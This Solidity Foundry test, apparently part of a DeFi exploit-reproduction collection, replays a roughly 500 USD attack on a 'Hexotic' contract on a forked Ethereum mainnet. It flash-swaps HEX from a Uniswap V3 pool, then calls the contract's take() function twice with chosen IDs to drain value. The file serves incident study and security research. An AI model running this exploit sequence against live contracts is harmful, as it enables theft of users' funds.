src/test/2025-08/Hexotic_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 500 USD
8// Attacker : https://etherscan.io/address/0x07185a9e74f8dceb7d6487400e4009ff76d1af46
9// Attack Contract : https://etherscan.io/address/0x6e0113c4f1de65b98381baa6443b20834b70d4c5
10// Vulnerable Contract : https://arbiscan.io/address/0x03339ecae41bc162dacae5c2a275c8f64d6c80a0
11// Attack Tx : https://etherscan.io/tx/0x23b69bef57656f493548a5373300f7557777f352ade8131353ff87a1b27e2bb3
12 
13// @Info
14// Vulnerable Contract Code : https://arbiscan.io/address/0x03339ecae41bc162dacae5c2a275c8f64d6c80a0#code
15 
16// @Analysis
17// Post-mortem : https://t.me/defimon_alerts/1757
18// Twitter Guy : N/A
19// Hacking God : N/A
20 
21interface IHexotic {
22    function take(bytes32 id) external payable;
23}
24 
25contract Hex is BaseTestWithBalanceLog {
26    uint256 blocknumToForkFrom = 23260641 - 1;
27 
28    //address
29    address constant uniswapV3HEXPool = 0x9e0905249CeEFfFB9605E034b534544684A58BE6;
30    IWETH constant WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
31    IERC20 constant hexToken = IERC20(0x2b591e99afE9f32eAA6214f7B7629768c40Eeb39);
32    // The address of the vulnerable 'Hexotic' contract.
33    IHexotic hexotic = IHexotic(0x204B937FEaEc333E9e6d72D35f1D131f187ECeA1);
34    
35    function setUp() public {
36        vm.createSelectFork("mainnet", blocknumToForkFrom);
37        //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
38        fundingToken = address(0);
39    }
40 
41    function testExploit() public balanceLog {
42        //// Fund the test contract with 0.1 ETH to pay for gas and initial transactions.
43        vm.deal(address(this), 0.1 ether);
44        WETH.deposit{value: 0.037 ether}();
45        
46        // Initiate a flash swap on the HEX Uniswap V3 Pool.
47        IPancakeV3Pool(uniswapV3HEXPool).swap(address(this),false,37000000000000000,1461446703485210103287273052203988822378723970341,"0x00");
48 
49        hexToken.approve(address(hexotic), type(uint256).max);
50        
51        // Call the 'take' function on the vulnerable contract twice with specific IDs.
52        // This is the core of the exploit. It leverages a vulnerability in the 'hexotic' contract
53        // using the flash-loaned HEX tokens to extract value.
54        hexotic.take(0x0000000000000000000000000000000000000000000000000000000000000043);
55        hexotic.take(0x000000000000000000000000000000000000000000000000000000000000002b);    
56    }
57    receive() external payable {}
58 
59     function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata /*_data*/) external {
60        WETH.transfer(address(uniswapV3HEXPool), 37000000000000000);
61    }
62}